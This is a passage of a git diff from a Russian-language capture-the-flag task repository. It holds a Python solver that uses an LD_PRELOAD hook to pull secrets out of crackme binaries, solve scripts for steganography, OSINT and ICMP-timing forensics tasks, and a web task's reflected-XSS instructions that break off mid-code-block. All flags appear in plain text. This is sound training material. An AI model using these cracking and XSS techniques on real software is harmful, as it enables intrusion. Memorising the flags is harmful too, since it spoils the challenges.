part.startswith('session_id='): + session_id = part.split('=', 1)[1] + break + if session_id: + break + if not session_id: + raise RuntimeError('session_id cookie was not returned by the server') + + archive_path = target_dir / 'bundle.zip' + archive_path.write_bytes(data) + extract_dir = target_dir / 'crackmes' + extract_dir.mkdir(parents=True, exist_ok=True) + with zipfile.ZipFile(archive_path, 'r') as zf: + archive_order = [] + for member in zf.namelist(): + normalized = normalize_member_name(member) + if normalized and normalized not in archive_order: + archive_order.append(normalized) + zf.extractall(extract_dir) + + archive_order = [name for name in archive_order if name in EXTRACTORS] + if len(archive_order) != len(EXTRACTORS): + missing = set(EXTRACTORS) - set(archive_order) + raise RuntimeError(f"unexpected crackme list in archive, missing: {sorted(missing)}") + + for item in extract_dir.iterdir(): + if item.is_file(): + mode = item.stat().st_mode | S_IXUSR | S_IXGRP | S_IXOTH + item.chmod(mode) + + return session_id, extract_dir, archive_order + + +def build_hook(temp_dir: Path) -> Path: + src = temp_dir / 'rc_hook.c' + so = temp_dir / 'rc_hook.so' + src.write_text(HOOK_SOURCE) + compile_cmd = ['gcc', '-shared', '-fPIC', '-O2', str(src), '-o', str(so), '-ldl'] + try: + subprocess.run(compile_cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + except FileNotFoundError as exc: + raise RuntimeError('gcc is required to build the hook but was not found') from exc + return so + + +def run_binary(binary: Path, hook: Path, payload: bytes, timeout: float = 3.0) -> str: + env = os.environ.copy() + env['LD_PRELOAD'] = str(hook) + proc = subprocess.run( + [str(binary)], + input=payload, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + env=env, + timeout=timeout, + check=False, + ) + return proc.stderr.decode(errors='ignore') + + +def extract_pass1(binary: Path, hook: Path) -> str: + logs = run_binary(binary, hook, b'test\n') + m = STR_RE.search(logs) + if not m: + raise RuntimeError('Failed to capture strcmp secret for crackme1') + return m.group(1).strip() + + +def extract_mem_secret(binary: Path, hook: Path, payload: bytes) -> tuple[int, bytes]: + logs = run_binary(binary, hook, payload) + m = MEM_RE.search(logs) + if not m: + raise RuntimeError(f'No memcmp hook output for {binary.name}') + length = int(m.group(1)) + data = bytes.fromhex(m.group(2)) + return length, data[:length] + + +def extract_pass2(binary: Path, hook: Path) -> str: + for length in range(1, 33): + try: + _, data = extract_mem_secret(binary, hook, ("A" * length + "\n").encode()) + break + except RuntimeError: + continue + else: + raise RuntimeError('Unable to trigger memcmp for crackme2') + + key = b'cyber32' + plaintext = bytes(data[i] ^ key[i % len(key)] for i in range(len(data))) + return plaintext.decode() + + +def extract_pass3(binary: Path, hook: Path) -> str: + payload = b"0" * 64 + b"\n" + logs = run_binary(binary, hook, payload) + + + matches = list(MEM_RE.finditer(logs)) + if not matches: + raise RuntimeError("No memcmp detected in crackme3") + + for match in reversed(matches): + length = int(match.group(1)) + hex_data = match.group(2) + if length == 32 and len(hex_data) == 64: + return hex_data.lower() + + + last = matches[-1] + length = int(last.group(1)) + data = bytes.fromhex(last.group(2))[:length] + return data.hex() + + +def extract_pass4(binary: Path, hook: Path) -> str: + _, data = extract_mem_secret(binary, hook, b'A' * 4) + return data.hex() + + +EXTRACTORS = { + 'crackme1': extract_pass1, + 'crackme2': extract_pass2, + 'crackme3': extract_pass3, + 'crackme4': extract_pass4, +} + + +def solve_in_order(crackme_dir: Path, hook: Path, archive_order: list[str]) -> list[str]: + answers = [] + for name in archive_order: + extractor = EXTRACTORS.get(name) + if not extractor: + raise RuntimeError(f'unknown crackme entry: {name}') + binary = crackme_dir / name + if not binary.exists(): + raise RuntimeError(f'binary {binary} was not extracted') + answers.append(extractor(binary, hook)) + return answers + + +def submit_answer(base_url: str, session_id: str, combined: str) -> dict: + url = base_url.rstrip('/') + '/submit' + payload = json.dumps({'answer': combined}).encode() + headers = { + 'Content-Type': 'application/json', + 'Cookie': f'session_id={session_id}', + } + req = urllib.request.Request(url, data=payload, method='POST', headers=headers) + try: + with urllib.request.urlopen(req) as resp: + return json.loads(resp.read().decode()) + except urllib.error.HTTPError as exc: + raise RuntimeError(f'/submit failed: {exc.read().decode(errors="ignore")}') from exc + + +def main(): + parser = argparse.ArgumentParser(description='Automatic solver for ReverseConveyor') + parser.add_argument('--url', default=DEFAULT_URL, help='Base URL of the service (default: %(default)s)') + args = parser.parse_args() + + with tempfile.TemporaryDirectory() as tmp: + tmp_path = Path(tmp) + session_id, crackme_dir, archive_order = request_archive(args.url, tmp_path) + hook = build_hook(tmp_path) + + print(f"[+] Archive order: {' '.join(archive_order)}") + parts = solve_in_order(crackme_dir, hook, archive_order) + + combined = '_'.join(parts) + print(f'[+] Answer: {combined}') + result = submit_answer(args.url, session_id, combined) + if result.get('ok'): + print(f"[+] Flag: {result['flag']}") + else: + print('[-] Server rejected the answer:', result) + + +if __name__ == '__main__': + try: + main() + except Exception as exc: + print(f'[!] {exc}', file=sys.stderr) + sys.exit(1) diff --git a/SuperEasySecret-Stegano/README.md b/SuperEasySecret-Stegano/README.md new file mode 100644 index 0000000..d9f462a --- /dev/null +++ b/SuperEasySecret-Stegano/README.md @@ -0,0 +1,12 @@ +## Информация для участников +Вы наткнулись на таинственное изображение super_easy_secret.png, которое, по слухам, скрывает секретный флаг. Разгадайте, что спрятано внутри! Формат флага: caplag{...}. + +## Выдать участникам +- `public/super_easy_secret.png` + +## Решение +Скрипт для решения: [solve/extract_flag_super_easy.rs](solve/extract_flag_super_easy.rs) +Решение с помощью stegsolve: [solve/solve.jpg](solve/solve.jpg) + +## Флаг +`caplag{H1dD3n$3cr3t}` diff --git a/SuperEasySecret-Stegano/solve/extract_flag_super_easy.rs b/SuperEasySecret-Stegano/solve/extract_flag_super_easy.rs new file mode 100644 index 0000000..89722e8 --- /dev/null +++ b/SuperEasySecret-Stegano/solve/extract_flag_super_easy.rs @@ -0,0 +1,42 @@ +use image::open; +use std::path::Path; + +fn main() -> Result<(), Box> { + // Открываем изображение + let img = open(&Path::new("super_easy_secret.png"))?.to_rgb8(); + + // Извлекаем ровно 160 битов из красного канала (20 символов) + let mut bits = Vec::new(); + for pixel in img.pixels().take(160) { + let lsb = pixel[0] & 1; // LSB красного канала + bits.push(lsb); + } + + // Проверяем количество битов + if bits.len() < 160 { + return Err("Недостаточно битов для флага".into()); + } + + // Собираем биты в байты + let mut bytes = Vec::new(); + for chunk in bits[..160].chunks(8) { + if chunk.len() == 8 { + let mut byte = 0u8; + for (i, &bit) in chunk.iter().enumerate() { + byte |= bit << (7 - i); + } + bytes.push(byte); + } + } + + // Проверяем количество байтов + if bytes.len() < 20 { + return Err("Недостаточно байтов для флага".into()); + } + + // Берем первые 20 байт (длина флага) + let flag = String::from_utf8_lossy(&bytes[..20]); + println!("Flag: {}", flag); + + Ok(()) +} \ No newline at end of file diff --git a/SuperEasySecret-Stegano/solve/solve.jpg b/SuperEasySecret-Stegano/solve/solve.jpg new file mode 100644 index 0000000..44e6ac6 Binary files /dev/null and b/SuperEasySecret-Stegano/solve/solve.jpg differ diff --git a/The wall-MiscOSINT/README.md b/The wall-MiscOSINT/README.md new file mode 100644 index 0000000..b19dab0 --- /dev/null +++ b/The wall-MiscOSINT/README.md @@ -0,0 +1,17 @@ +## Информация для участников +Указать координаты местоположения откуда сделано фото, с точностью до 0,001. +Формат флага: caplag{ХХ.XXX,YY.YYY} + +## Выдать участникам +Фото для участников: public/24.jpg + +## Решение + +### Первый способ: +Сделать поиск по фото. Выдаст мусор среди них ссылка на пикабу, там можно понять, что это Истра. Идем на панорамы, ищем это место и смотрим координаты, сделана точность 0.001 для такого решения. + +### Второй способ: +Сделать поиск по фото с найденными в метаданных именем автора. Поиск с метаданными выдает сразу ссылку на исходный сайт, на 3й странице автора есть нужное фото (https://www.flickr.com/photos/140377809@N05/53158389395/), открываем, смотрим описание, переходим на карту и берем координаты из ссылки (https://www.flickr.com/map/?fLat=55.921315&fLon=36.845055&zl=13&everyone_nearby=1&photo=53158389395). + +## Флаг +caplag{55.921,36.845} diff --git a/Time spirit-Forensic/README.md b/Time spirit-Forensic/README.md new file mode 100644 index 0000000..a4d3304 --- /dev/null +++ b/Time spirit-Forensic/README.md @@ -0,0 +1,14 @@ +## Информация для участников +> Мы обнаружили в сети подозрительный трафик. Наши специалисты не смогли выяснить его источник и содержание. Помогите разобраться, что он означает. + +## Выдать участникам +public/task.pcapng + +## Решение +solve/show_clusters.py - показать кластеры. Скрипт для наглядности +solve/extract_flag.py - решение + + +## Флаг +`caplag{1cmp_T1M1ng_3xf1ltrat10n_1s_FuN}` + diff --git a/Time spirit-Forensic/solve/extract_flag.py b/Time spirit-Forensic/solve/extract_flag.py new file mode 100644 index 0000000..1049574 --- /dev/null +++ b/Time spirit-Forensic/solve/extract_flag.py @@ -0,0 +1,62 @@ +#!/usr/bin/env python3 +""" +Decode the flag from the timing-based ICMP channel in public/task.pcapng. +Requires scapy: pip install scapy +""" +from scapy.all import rdpcap, IP, ICMP # type: ignore +import sys +from typing import Iterable, List + + +TARGET_IP = "192.168.13.37" +ZERO_DELAY = 1.2 +ONE_DELAY = 1.6 +TOLERANCE = 0.08 # Acceptable drift around each delay marker + + +def load_icmp_times(pcap_path: str) -> List[float]: + packets = rdpcap(pcap_path) + icmp_flow = [ + pkt + for pkt in packets + if IP in pkt + and ICMP in pkt + and (pkt[IP].src == TARGET_IP or pkt[IP].dst == TARGET_IP) + ] + icmp_flow.sort(key=lambda p: float(p.time)) + return [float(pkt.time) for pkt in icmp_flow] + + +def as_deltas(times: List[float]) -> List[float]: + return [cur - prev for prev, cur in zip(times, times[1:])] + + +def decode_bits(deltas: Iterable[float]) -> str: + bits = [] + for dt in deltas: + if abs(dt - ZERO_DELAY) <= TOLERANCE: + bits.append("0") + elif abs(dt - ONE_DELAY) <= TOLERANCE: + bits.append("1") + return "".join(bits) + + +def bits_to_ascii(bits: str) -> str: + # Drop trailing bits if not a whole byte + usable_len = len(bits) - (len(bits) % 8) + out = [] + for i in range(0, usable_len, 8): + out.append(chr(int(bits[i : i + 8], 2))) + return "".join(out) + + +def main() -> None: + pcap_path = sys.argv[1] if len(sys.argv) > 1 else "../public/task.pcapng" + times = load_icmp_times(pcap_path) + bitstring = decode_bits(as_deltas(times)) + plaintext = bits_to_ascii(bitstring) + print(plaintext) + + +if __name__ == "__main__": + main() diff --git a/Time spirit-Forensic/solve/show_clusters.py b/Time spirit-Forensic/solve/show_clusters.py new file mode 100644 index 0000000..cf20ca5 --- /dev/null +++ b/Time spirit-Forensic/solve/show_clusters.py @@ -0,0 +1,55 @@ +#!/usr/bin/env python3 +""" +Quick delta clustering to show the two timing buckets that encode 0 and 1. +Requires scapy: pip install scapy +""" +from collections import Counter +import math +import sys +from typing import List +from scapy.all import rdpcap, IP, ICMP # type: ignore + + +TARGET_IP = "192.168.13.37" +BIN_WIDTH = 0.05 # Seconds + + +def load_icmp_times(pcap_path: str) -> List[float]: + packets = rdpcap(pcap_path) + icmp_flow = [ + pkt + for pkt in packets + if IP in pkt + and ICMP in pkt + and (pkt[IP].src == TARGET_IP or pkt[IP].dst == TARGET_IP) + ] + icmp_flow.sort(key=lambda p: float(p.time)) + return [float(pkt.time) for pkt in icmp_flow] + + +def as_deltas(times: List[float]) -> List[float]: + return [cur - prev for prev, cur in zip(times, times[1:])] + + +def bin_value(value: float) -> float: + return round(math.floor(value / BIN_WIDTH) * BIN_WIDTH, 2) + + +def main() -> None: + pcap_path = sys.argv[1] if len(sys.argv) > 1 else "../public/task.pcapng" + deltas = as_deltas(load_icmp_times(pcap_path)) + + histogram = Counter(bin_value(dt) for dt in deltas) + print("Top timing buckets (bin width {:.2f}s):".format(BIN_WIDTH)) + for bucket, count in sorted(histogram.items(), key=lambda item: (-item[1], item[0]))[:20]: + print(f"{bucket:>4.2f} s -> {count}") + + for center, label in ((1.2, "0"), (1.6, "1")): + window = [dt for dt in deltas if abs(dt - center) <= 0.1] + if window: + avg = sum(window) / len(window) + print(f"Near {center:.2f}s (bit {label}) count={len(window)} avg={avg:.4f}") + + +if __name__ == "__main__": + main() diff --git a/echoCity-web/README.md b/echoCity-web/README.md new file mode 100644 index 0000000..a7660d9 --- /dev/null +++ b/echoCity-web/README.md @@ -0,0 +1,8 @@ + +## Информация для участников + +В Академии Знаний есть доска объявлений, где студенты и преподаватели оставляют заметки. Но у вторых есть свои секреты... + +## Флаг + +`caplag{3ch0_w3b_3@sy}` diff --git a/echoCity-web/solve/README.md b/echoCity-web/solve/README.md new file mode 100644 index 0000000..cab20a0 --- /dev/null +++ b/echoCity-web/solve/README.md @@ -0,0 +1,15 @@ +# Инструкции + +1. Перейдите по адресу `http://:/`. +2. Пользователь вводит в поле сообщение и оно отобразиться снизу. +3. Пользователь проводит Reflected XSS атаку, на клиентской части отрабатывает слушатель wasm. + +## Ответы + +```html +